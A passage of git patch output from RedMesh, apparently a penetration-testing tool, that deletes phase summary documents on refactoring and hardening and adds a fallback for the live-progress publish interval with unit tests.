resolved target port to every selected peer - - force deterministic mirror semantics - - persist `exceptions=[]` - - persist `nr_local_workers=1` -- Standardized endpoint-level validation failures to a structured payload: - - `{"error": "validation_error", "message": "..."}` - -### Frontend - -- Added explicit API client methods in [redmeshApi.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/redmeshApi.ts): - - `launchNetworkScan()` - - `launchWebappScan()` -- Split request construction in [jobs.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/jobs.ts): - - `createJobInputToNetworkLaunchRequest()` - - `createJobInputToWebappLaunchRequest()` -- Updated `createJob()` to choose the backend endpoint by `scanType`. -- Preserved compatibility by leaving `launchTest()` available in the API client. - -## Acceptance Criteria Check - -- Webapp launches no longer persist bogus default `exceptions`. - - Verified by backend test coverage. -- Webapp launches no longer produce degenerate sliced worker entries. - - Verified by backend test coverage. -- Validation errors are structurally consistent. - - Verified for missing authorization, invalid scan type, missing `target_url`, and invalid URL scheme. -- Network and webapp launch logic can be reasoned about independently. - - Implemented via separate endpoint entry points and separate frontend request builders. - -## Tests Run - -Backend: - -```bash -PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py -``` - -Result: `91 passed` - -Frontend: - -```bash -npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts -``` - -Result: `2 suites passed, 8 tests passed` - -## Resulting State - -- Backend launch semantics are now explicit by scan type. -- Navigator no longer sends graybox launches through the mixed legacy path. -- Existing callers can still use `launch_test()` during migration. -- The launch surface is materially easier to extend with scan-type-specific rules in later phases. - -## Remaining Follow-Up - -- Navigator still logs raw environment/config data during tests and runtime boot in [env.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts). That remains a security issue for the later hardening phase. -- Feature capability modeling is still network-centric in backend internals; that belongs to the next structural phase. diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md deleted file mode 100644 index 4ba7cfbd..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-4-summary.md +++ /dev/null @@ -1,93 +0,0 @@ -# Phase 4 Summary - -Date: 2026-03-11 - -## Goal - -Make feature discovery, catalog output, and launch-time feature validation scan-type-aware, and ensure the UI preserves backend feature categories correctly. - -## Issues Addressed - -- `001-C3` `_get_all_features` only discovered network worker methods -- `001-L3` webapp `enabled_features` stored network probe names -- `003-4` feature catalog / capability mismatch -- `006` capability model inconsistency between workers, API, and UI - -## What Was Done - -### Backend - -- Added explicit capability discovery on both worker classes: - - [pentest_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/worker/pentest_worker.py) - - `FEATURE_PREFIXES` - - `get_feature_prefixes()` - - `get_supported_features()` - - [graybox/worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/graybox/worker.py) - - `get_feature_prefixes()` - - `get_supported_features()` -- Refactored feature discovery in [pentester_api_01.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py): - - added `_coerce_scan_type()` - - added `_get_supported_features()` - - extended `_get_all_features(..., scan_type=...)` - - added `_get_feature_catalog(scan_type)` - - added `_validate_feature_catalog()` -- Startup now validates `FEATURE_CATALOG` against executable worker capabilities and fails fast if a catalog item references missing methods. -- Updated endpoint behavior: - - `list_features(scan_type="")` - - `get_feature_catalog(scan_type="all")` -- Updated launch-time feature resolution so: - - network launches validate against network/service/web/correlation features - - webapp launches validate against graybox features only -- Verified that webapp `enabled_features` now persists graybox method keys instead of network probe names. - -### Frontend - -- Fixed backend category preservation in: - - [config route](/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/config/route.ts) - - [features route](/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/features/route.ts) -- Navigator now preserves `graybox` and `correlation` categories from the backend catalog instead of narrowing them incorrectly in route adapters. - -## Acceptance Criteria Check - -- Graybox jobs only validate against graybox features. - - Verified by launch-path test coverage and persisted webapp config assertions. -- Network jobs only validate against network/correlation/web features. - - Verified by capability discovery including `_post_scan_*` and excluding graybox methods. -- Feature catalog output is consistent with executable probes. - - Verified by scan-type-filtered catalog tests and startup validation. -- Startup fails loudly if the catalog references missing methods. - - Verified by explicit failure test for invalid catalog entries. - -## Tests Run - -Backend: - -```bash -PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py -``` - -Result: `131 passed` - -Frontend: - -```bash -npm test -- --runInBand config-route.test.ts jobs-api.test.ts jobs-route.test.ts -``` - -Result: `3 suites passed, 11 tests passed` - -## Resulting State - -- Capability discovery is now derived from worker classes instead of a network-only helper. -- The backend catalog is filtered by scan type and validated against actual executable methods. -- Webapp launches no longer persist irrelevant network feature names. -- Navigator preserves graybox categories from the backend catalog, which keeps config/UI consumers aligned with backend semantics. - -## Remaining Follow-Up - -- The frontend fallback catalog in [features.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/domain/features.ts) is still incomplete for graybox; that belongs to the later UI/feature-selection phase. -- [env.ts](/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts) still logs raw environment/config data and remains a security issue for the hardening phase. diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md deleted file mode 100644 index 4fc77fc8..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-5-summary.md +++ /dev/null @@ -1,80 +0,0 @@ -# Phase 5 Summary - -Date: 2026-03-11 - -## Goal - -Make probe execution failures visible without aborting the entire worker pipeline, and make graybox probe/weak-auth metrics first-class in worker status and reporting. - -## Issues Addressed - -- `004-WRK-C1` crashing probe paths could degrade or abort execution silently -- `004-API-H3` failed probes were not visible enough in stored metrics -- `004-WRK-H1` graybox probe metrics were sparse -- `004-WRK-H4` graybox scenario counts were not carried into `scan_metrics` -- part of worker feature-control parity for disabled graybox and correlation probes - -## What Was Done - -### Backend - -- Updated [graybox/worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/graybox/worker.py): - - `get_status()` now merges scenario counters into `scan_metrics` - - each graybox probe now records one of: - - `completed` - - `failed` - - `skipped:disabled` - - `skipped:stateful_disabled` - - `skipped:missing_auth` - - `skipped:missing_regular_session` - - per-probe exclusions now suppress only the matching graybox probe - - weak-auth execution now records `completed`, `failed`, or `skipped:disabled` - - stored findings now also feed `finding_distribution` metrics -- Updated [pentest_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/worker/pentest_worker.py): - - service probe dispatch now catches per-port probe exceptions and records failed probe state instead of aborting the worker - - web probe dispatch now does the same - - correlation now records `completed`, `failed`, or `skipped:disabled` -- Added/extended tests in: - - [test_worker.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py) - - [test_probes.py](/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_probes.py) - -## Acceptance Criteria Check - -- A single failing probe does not kill the whole worker pipeline. - - Verified by graybox probe-isolation tests and per-probe exception handling in network workers. -- Failed probes are visible in stored metrics/report breakdown. - - Verified by `probe_breakdown`, `probes_failed`, and disabled/failed status assertions. -- Graybox passes produce meaningful scan metrics and scenario counts. - - Verified by `scan_metrics.scenarios_*` assertions in worker status tests. -- Feature toggles reliably suppress disabled functionality. - - Verified for per-probe graybox exclusions, disabled weak-auth, and disabled correlation reporting. - -## Tests Run - -Backend: - -```bash -PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py \ - /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_probes.py -``` - -Result: `308 passed` - -Warnings: - -- Existing TLS/date deprecation warnings in probe tests remain: - - `datetime.utcnow()` usage in TLS-related code/tests - -## Resulting State - -- Operators can now distinguish failed probes from clean probe results in worker metrics. -- Graybox worker metrics now describe scenario outcomes, not just phase timing. -- Disabled graybox and correlation behavior is explicitly surfaced instead of disappearing silently. -- Network probe crashes are isolated at the probe-call level and no longer imply whole-worker failure. - -## Remaining Follow-Up - -- Active fingerprinting feature-control parity is still incomplete and should be covered in the later worker feature-control phase. -- Frontend rendering/export parity for the richer graybox data remains in the next phase. diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md deleted file mode 100644 index df6ee33b..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-6-summary.md +++ /dev/null @@ -1,135 +0,0 @@ -# Phase 6 Summary - -Date: 2026-03-11 -Phase: 6 -Title: Frontend Normalization, Graybox UX Parity, and Export Completeness - -## Scope - -This phase focused on RedMesh Navigator only. No backend runtime code changed in this phase. - -Primary goals: -- complete graybox/webapp launch-field propagation through the Navigator UI and Next API route -- normalize graybox job fields consistently in the frontend contract layer -- render graybox worker findings as first-class results in the job details experience -- verify that graybox-specific validation and display behavior match the accepted Phase 6 criteria - -## What Was Changed - -### 1. Frontend normalization and contract handling - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/jobs.ts`: -- fixed port-order normalization so backend `SHUFFLE` maps to frontend `random` -- made excluded-method derivation scan-type-aware -- ensured webapp launch requests invert only graybox feature groups -- preserved graybox identity fields already added in Phase 1 while aligning the rest of the launch mapping - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/edgeClient.ts`: -- added `graybox_results -> grayboxResults` transformation when worker reports are fetched from R1FS - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/services/redmeshApi.types.ts` and `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/api/types.ts`: -- extended worker report typing to include graybox result payloads - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/domain/features.ts`: -- kept the graybox fallback catalog available in default feature resolution, which is required for mock/fallback mode exclusion logic - -### 2. Job creation UX and validation - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/components/dashboard/JobForm.tsx`: -- added webapp form controls for: - - `weakCandidates` - - `maxWeakAttempts` - - `verifyTls` -- kept `allowStatefulProbes` explicit and improved toggle accessibility with dedicated labels -- added specific client-side validation messages for: - - missing target URL - - invalid target URL - - missing admin username - - missing admin password -- removed transient submit-path debug logging -- ensured the submit payload now includes: - - `weakCandidates` - - `maxWeakAttempts` - - `verifyTls` - - `allowStatefulProbes` - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/api/jobs/route.ts`: -- retained and verified route-level parsing/validation for webapp fields -- confirmed route forwarding for weak-auth and TLS fields - -### 3. Graybox findings UX - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/app/dashboard/jobs/[jobId]/components/DetailedWorkerReports.tsx`: -- graybox findings now appear in a dedicated "Authenticated Findings" section -- per-node result cards now treat `grayboxResults` as findings-bearing data -- added status rollups for vulnerable / clean / inconclusive findings -- reused the existing structured finding renderer so replay steps, scenario IDs, severity, and evidence remain consistent - -### 4. Test coverage - -Updated or added: -- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/jobs-api.test.ts` -- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/jobs-route.test.ts` -- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/ui-jobform.test.tsx` -- `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/detailed-worker-reports.test.tsx` - -Coverage added for: -- running graybox job normalization -- `SHUFFLE -> random` port-order mapping -- propagation of `weakCandidates`, `maxWeakAttempts`, and `verifyTls` -- route rejection for invalid target URLs -- end-to-end UI payload generation for webapp launches -- dedicated rendering of graybox findings in job details - -## Acceptance Criteria Check - -### All graybox launch inputs round-trip correctly through UI -> Next route -> backend - -Met for the Navigator-managed path: -- UI sends the full graybox field set -- route validates and forwards the graybox field set -- request-builder tests confirm correct API payload shaping - -### Job details render graybox results and scenario-oriented findings without network-centric fallbacks - -Met: -- worker report fetches now preserve `grayboxResults` -- detailed results UI now renders a dedicated authenticated findings section - -### Exported PDF includes graybox-specific content - -Met by verification of the current implementation: -- no code change was required here -- existing PDF generation already includes graybox summary and finding sections -- this was re-checked during the phase review - -### Error states distinguish validation problems from transport/server failures - -Met for the webapp creation flow: -- invalid or missing webapp inputs now surface specific validation errors in the UI and route layer - -## Verification - -Executed: - -`npm test -- --runInBand jobs-api.test.ts jobs-route.test.ts ui-jobform.test.tsx detailed-worker-reports.test.tsx` - -Result: -- 4 suites passed -- 12 tests passed - -## Notes / Residual Risk - -- `lib/config/env.ts` still logs raw environment/config data during tests and runtime. This remains a real security issue, but it is part of the later hardening phase, not Phase 6. -- The Phase 6 PDF requirement was satisfied by re-validating the existing implementation rather than changing it. - -## Resulting State - -After Phase 6, Navigator treats graybox scans as first-class jobs in all core operator flows: -- launch configuration -- validation -- typed request construction -- report fetching -- detailed findings presentation - -The next phase should focus on security hygiene and operational hardening. diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md deleted file mode 100644 index b9069fef..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-7-summary.md +++ /dev/null @@ -1,125 +0,0 @@ -# Phase 7 Summary - -Date: 2026-03-11 -Phase: 7 -Title: Security Hygiene and Operational Hardening - -## Scope - -Phase 7 covered both Navigator and RedMesh backend hardening. - -Primary goals: -- remove unsafe environment/config logging from Navigator -- make backend audit logging bounded by construction -- replace attestation magic strings with named constants -- make the attestation CID source explicit instead of relying on an ambiguous worker lookup -- strengthen regression coverage around credential redaction edge cases - -## What Was Changed - -### 1. Navigator config logging hardening - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/lib/config/env.ts`: -- removed `console.log(process.env)` -- removed resolved-config logging in `getSwaggerUrl()` -- kept runtime config behavior unchanged - -Updated `/home/vitalii/remote-dev/repos/RedMesh-Navigator/__tests__/config-route.test.ts`: -- added regression coverage confirming config resolution still works -- added an explicit test ensuring config route execution does not emit raw environment/config logs - -### 2. Backend audit log hardening - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: -- replaced the in-memory audit list with `collections.deque(maxlen=1000)` -- introduced `AUDIT_LOG_MAX_ENTRIES` as a named class constant -- removed manual list slicing logic from `_log_audit_event()` -- normalized `get_audit_log()` to return a plain list view while keeping append behavior O(1) - -Security effect: -- audit growth is bounded by construction rather than by after-the-fact truncation - -### 3. Attestation cleanup - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: -- introduced `REDMESH_ATTESTATION_NETWORK` constant -- replaced inline `"base-sepolia"` strings in timeline metadata with the named constant - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/mixins/attestation.py`: -- added `_resolve_attestation_report_cid()` -- removed the unresolved inline TODO for CID selection -- changed `_submit_redmesh_test_attestation()` to accept an explicit `report_cid` -- current pass finalization now passes `aggregated_report_cid` directly into attestation submission - -System design effect: -- the evidence reference used for attestation is now intentionally selected at the call site -- attestation metadata no longer depends on a launcher-specific worker lookup heuristic - -### 4. Redaction edge-case coverage - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py`: -- added regression coverage for passwords containing special characters and multiple delimiter patterns -- verified masking in both blackbox and graybox evidence paths - -### 5. New backend hardening tests - -Added `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_hardening.py`: -- attestation helper tests -- bounded audit-log behavior test - -## Acceptance Criteria Check - -### No server logs print raw environment variables or secrets - -Met for Navigator: -- raw env/config logging removed from the server-side config layer -- route-level regression test added - -### Attestation CID source is explicit and documented - -Met: -- attestation submission now accepts an explicit `report_cid` -- pass finalization passes the aggregated-report CID directly -- the old ambiguous lookup/TODO path was removed - -### Audit buffer remains bounded with O(1) append behavior - -Met: -- audit log now uses `deque(maxlen=1000)` - -### Redaction holds for graybox and blackbox credential evidence edge cases - -Met: -- special-character credential patterns are now covered by tests - -## Verification - -Executed frontend: - -`npm test -- --runInBand config-route.test.ts` - -Result: -- 1 suite passed -- 4 tests passed - -Executed backend: - -`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_hardening.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py` - -Result: -- 21 tests passed - -## Notes / Residual Risk - -- Backend attestation still depends on the surrounding blockchain client behavior and configuration; this phase cleaned up source selection and metadata constants, not the broader attestation architecture. -- There are still substantial structural refactors remaining for later phases, especially around orchestration responsibilities in `pentester_api_01.py`. - -## Resulting State - -After Phase 7: -- Navigator no longer leaks raw env/config data through the config layer -- backend audit logging is bounded by construction -- attestation metadata is cleaner and less ambiguous -- credential redaction coverage is stronger for realistic evidence payloads - -The next phase should focus on reducing architectural coupling and responsibility concentration. diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md deleted file mode 100644 index 1b3934e0..00000000 --- a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-8-summary.md +++ /dev/null @@ -1,158 +0,0 @@ -# Phase 8 Summary - -Date: 2026-03-11 -Phase: 8 -Title: Architectural Reduction of Future Coupling - -## Scope - -Phase 8 focused on RedMesh backend architecture. Navigator code was not changed in this phase. - -Primary goals: -- reduce responsibility concentration inside `pentester_api_01.py` -- move scan-type dispatch policy out of the API plugin into a dedicated strategy layer -- make job-state transitions explicit and validated -- add regression coverage around the extracted architectural seams - -## What Was Changed - -### 1. Extracted scan strategy metadata - -Added: -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/scan_strategy.py` -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/__init__.py` - -This new strategy layer now owns: -- scan-type coercion -- scan-type -> worker-class mapping -- scan-type -> feature-catalog categories mapping - -Effect: -- `pentester_api_01.py` no longer owns the worker-dispatch table directly -- feature discovery and catalog validation are now driven by the extracted strategy model - -### 2. Extracted local launch orchestration - -Added: -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/launch.py` - -This service now owns: -- network local-worker batching and launch behavior -- webapp single-worker launch behavior -- scan-type-specific local dispatch selection - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: -- `_maybe_launch_jobs()` now delegates to `launch_local_jobs()` -- `_launch_job()` is retained only as a compatibility wrapper around the extracted service - -Effect: -- launch/runtime dispatch policy is no longer embedded directly inside the main plugin loop - -### 3. Introduced explicit job-state transition rules - -Added: -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/services/state_machine.py` - -This module defines: -- allowed transitions between: - - `RUNNING` - - `COLLECTING` - - `ANALYZING` - - `FINALIZING` - - `SCHEDULED_FOR_STOP` - - `STOPPED` - - `FINALIZED` -- helpers for: - - transition validation - - terminal-state checks - - intermediate-state checks - -Updated `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/pentester_api_01.py`: -- pass finalization now uses `set_job_status()` instead of direct raw assignment -- stop paths now use the explicit transition helper -- terminal/intermediate skip logic now uses the extracted status helpers - -### 4. Continuous-monitoring lifecycle correction - -While implementing the explicit transition map, one real lifecycle bug was corrected: - -- continuous-monitoring jobs previously advanced through `COLLECTING -> ANALYZING -> FINALIZING`, then scheduled the next pass without returning to `RUNNING` -- Phase 8 now transitions them back to `RUNNING` after pass finalization when the job is continuing - -This improves: -- lifecycle clarity -- progress/reporting correctness -- future state-based reasoning in both API and UI layers - -### 5. Regression coverage for extracted architecture - -Added: -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_state_machine.py` -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_launch_service.py` - -Updated: -- `/home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py` - -Coverage added for: -- valid and invalid job-state transitions -- continuous `FINALIZING -> RUNNING` transition -- extracted network launch service -- extracted webapp launch service -- actual `_maybe_finalize_pass()` behavior returning continuous jobs to `RUNNING` - -## Acceptance Criteria Check - -### `pentester_api_01.py` loses at least one major responsibility area - -Met: -- local launch orchestration moved into `services/launch.py` -- scan strategy metadata moved into `services/scan_strategy.py` -- status transition rules moved into `services/state_machine.py` - -### Scan-type branching becomes strategy-driven rather than repeated conditionals - -Met in the key orchestration path: -- feature discovery and catalog filtering use scan strategy metadata -- local worker dispatch is centralized behind the launch service and strategy selection - -### State transitions are explicit and validated - -Met: -- job-state transitions now go through an explicit transition map for the finalized runtime path - -### New finding-source additions require fewer touchpoints than today - -Partially improved: -- this phase did not introduce a findings bundle abstraction -- but it did reduce coupling for scan-type and lifecycle changes, which was the highest-leverage structural risk in the current code - -## Verification - -Executed: - -`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_state_machine.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_launch_service.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py` - -Result: -- 74 tests passed - -Executed: - -`PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py` - -Result: -- 26 tests passed - -## Notes / Residual Risk - -- `pentester_api_01.py` is still a large orchestrator; this phase reduced scope but did not complete the broader collaborator split proposed in the plan. -- Frontend adapter centralization was not changed in this phase. The structural risk addressed here was primarily backend orchestration and state management. - -## Resulting State - -After Phase 8: -- scan-type behavior is more explicit -- launch dispatch is less entangled with endpoint logic -- lifecycle transitions are no longer ad hoc -- continuous-monitoring jobs return to a correct steady-state status between passes - -The next phase should expand regression guardrails across the remaining known failure modes. From 96269392e050715d12449ac3af8b702e4bd3c4e5 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:04:48 +0000 Subject: [PATCH 066/114] fix: normalize live-progres publish interval --- .../cybersec/red_mesh/mixins/live_progress.py | 22 ++++- .../cybersec/red_mesh/pentester_api_01.py | 1 + .../red_mesh/tests/test_integration.py | 86 ++++++++++++++++++- 3 files changed, 106 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index edf4e471..0668649b 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -8,6 +8,8 @@ from ..models import WorkerProgress from ..constants import PHASE_ORDER, GRAYBOX_PHASE_ORDER +DEFAULT_PROGRESS_PUBLISH_INTERVAL = 30.0 + def _thread_phase(state): """Determine which phase a single thread is currently in. @@ -45,6 +47,23 @@ def _thread_phase(state): class _LiveProgressMixin: """Live progress tracking methods for PentesterApi01Plugin.""" + def _get_progress_publish_interval(self): + """Return a safe numeric live-progress publish interval in seconds.""" + interval = getattr(self, "_progress_publish_interval", None) + if interval is None: + interval = getattr(self, "cfg_progress_publish_interval", None) + if interval is None: + config = getattr(self, "CONFIG", None) + if isinstance(config, dict): + interval = config.get("PROGRESS_PUBLISH_INTERVAL") + try: + interval = float(interval) + except (TypeError, ValueError): + interval = DEFAULT_PROGRESS_PUBLISH_INTERVAL + if interval <= 0: + interval = DEFAULT_PROGRESS_PUBLISH_INTERVAL + return interval + @staticmethod def _merge_worker_metrics(metrics_list): """Merge scan_metrics dicts from multiple local worker threads.""" @@ -169,7 +188,8 @@ def _publish_live_progress(self): Per-thread data (phase, ports) is included when multiple threads are active. """ now = self.time() - if now - self._last_progress_publish < self.cfg_progress_publish_interval: + publish_interval = _LiveProgressMixin._get_progress_publish_interval(self) + if now - self._last_progress_publish < publish_interval: return self._last_progress_publish = now diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 385776c3..06e4c236 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -195,6 +195,7 @@ def on_init(self): self._audit_log = deque(maxlen=self.AUDIT_LOG_MAX_ENTRIES) # Structured audit event log self.__last_checked_jobs = 0 self._last_progress_publish = 0 # timestamp of last live progress publish + self._progress_publish_interval = self._get_progress_publish_interval() self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 9729a383..f47edc84 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -132,6 +132,90 @@ def test_publish_live_progress(self): # Single thread — no threads field self.assertNotIn("threads", progress_data) + def test_publish_live_progress_missing_interval_uses_default(self): + """Missing publish interval falls back to the default safely.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + plugin._progress_publish_interval = None + plugin.cfg_progress_publish_interval = None + plugin.CONFIG = {"PROGRESS_PUBLISH_INTERVAL": 30} + + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(10)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker.initial_ports = list(range(1, 33)) + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + self.assertEqual(Plugin._get_progress_publish_interval(plugin), 30.0) + plugin.chainstore_hset.assert_called_once() + + def test_publish_live_progress_invalid_interval_uses_default(self): + """Malformed publish interval falls back to the default safely.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 80 + plugin.time.return_value = 100.0 + plugin._progress_publish_interval = None + plugin.cfg_progress_publish_interval = "invalid" + plugin.CONFIG = {"PROGRESS_PUBLISH_INTERVAL": 30} + + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(10)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker.initial_ports = list(range(1, 33)) + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + self.assertEqual(Plugin._get_progress_publish_interval(plugin), 30.0) + plugin.chainstore_hset.assert_not_called() + + def test_publish_live_progress_zero_interval_uses_default(self): + """Zero publish interval falls back to the default instead of tight-looping.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 80 + plugin.time.return_value = 100.0 + plugin._progress_publish_interval = None + plugin.cfg_progress_publish_interval = 0 + plugin.CONFIG = {"PROGRESS_PUBLISH_INTERVAL": 30} + + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(10)), + "open_ports": [], + "completed_tests": [], + "done": False, + } + worker.initial_ports = list(range(1, 33)) + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + plugin.chainstore_hget.return_value = {"job_pass": 1} + + Plugin._publish_live_progress(plugin) + + self.assertEqual(Plugin._get_progress_publish_interval(plugin), 30.0) + plugin.chainstore_hset.assert_not_called() + def test_publish_live_progress_multi_thread_phase(self): """Phase is the earliest active phase; per-thread data is included.""" Plugin = self._get_plugin_class() @@ -983,5 +1067,3 @@ def capture_add_json(data, show_logs=False): # OR flags self.assertFalse(sm["rate_limiting_detected"]) self.assertTrue(sm["blocking_detected"]) - - From c3910b21c285f4df2aad52c6a751e347bfba39cb Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 12 Mar 2026 15:12:46 +0000 Subject: [PATCH 067/114] fix: enforce cap for continuous jobs --- .../cybersec/red_mesh/models/archive.py | 9 +- .../cybersec/red_mesh/pentester_api_01.py | 43 +++++++ .../cybersec/red_mesh/tests/test_api.py | 120 +++++++++++++++++- 3 files changed, 169 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 07e0ee54..35986c5e 